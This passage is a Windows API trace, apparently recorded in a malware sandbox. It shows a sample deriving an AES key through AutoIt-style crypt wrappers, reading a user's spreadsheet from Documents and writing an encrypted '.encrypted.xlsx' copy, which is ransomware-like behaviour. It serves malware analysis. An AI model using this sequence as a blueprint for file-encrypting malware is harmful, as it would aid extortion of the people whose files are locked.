hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.069] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.069] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.069] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.069] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.069] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.069] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.069] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.069] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.069] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.069] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.069] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.069] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.069] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0024.069] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.069] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.069] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.069] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.069] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0024.069] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.069] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.069] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.069] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.069] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.069] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b360, dwDataLen=0x20, dwFlags=0x1) returned 1 [0024.069] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.069] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.069] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.069] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.070] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.070] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.070] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.070] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.070] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0024.070] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.070] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.070] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.070] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.070] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.070] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.070] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0024.070] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.070] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0024.071] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.071] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.072] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.072] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.072] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.072] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\F0tlqD_PjItzmwvwmHNX.xlsx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\f0tlqd_pjitzmwvwmhnx.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.072] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.072] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0024.072] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.072] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.072] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.072] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\" (normalized: "c:\\users\\5jghkoaofdp\\documents")) returned 0x11 [0024.072] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\F0tlqD_PjItzmwvwmHNX.encrypted.xlsx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\f0tlqd_pjitzmwvwmhnx.encrypted.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0024.073] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.073] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.073] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.073] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.074] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0024.074] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x886a, lpOverlapped=0x0) returned 1 [0024.075] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0024.077] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.077] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.077] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.077] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0024.078] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.078] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.078] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0024.078] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.078] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0024.078] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.079] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.079] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.079] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0024.079] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.079] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064aa0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064aa0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0024.079] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.079] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.079] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.079] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.079] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.079] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.080] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.080] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.080] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.080] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.080] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.080] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.080] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.080] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.080] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.080] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.080] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.080] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.080] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.081] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.081] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.081] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.081] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x886a, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x8870) returned 1 [0024.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.081] CharLowerBuffW (in: lpsz="byte[34929]", cchLength=0xb | out: lpsz="byte[34929]") returned 0xb [0024.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.082] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.082] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.082] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.082] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41d1ad0*, pdwDataLen=0xe8f3dfdf68*=0x886a, dwBufLen=0x8870 | out: pbData=0xe8f41d1ad0*, pdwDataLen=0xe8f3dfdf68*=0x8870) returned 1 [0024.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.082] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.082] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.082] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.082] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.082] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.082] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.082] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.082] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.082] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.082] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.085] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.085] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.085] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.086] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.086] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.086] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0024.086] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.086] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.086] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0024.086] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.086] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0024.086] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.086] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.086] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.086] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.086] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 